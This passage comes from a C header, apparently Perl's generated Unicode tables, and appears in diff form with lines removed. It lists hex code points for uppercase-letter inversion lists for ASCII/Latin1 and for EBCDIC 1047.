0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1FB8, - 0x1FBC, - 0x1FC8, - 0x1FCC, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFC, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2183, - 0x2184, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, - 0x1E900, - 0x1E922 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_UPPERCASELETTER_invlist[] = { /* for EBCDIC 1047 */ - 1273, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1FB8, - 0x1FBC, - 0x1FC8, - 0x1FCC, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFC, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2183, - 0x2184, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1D400, - 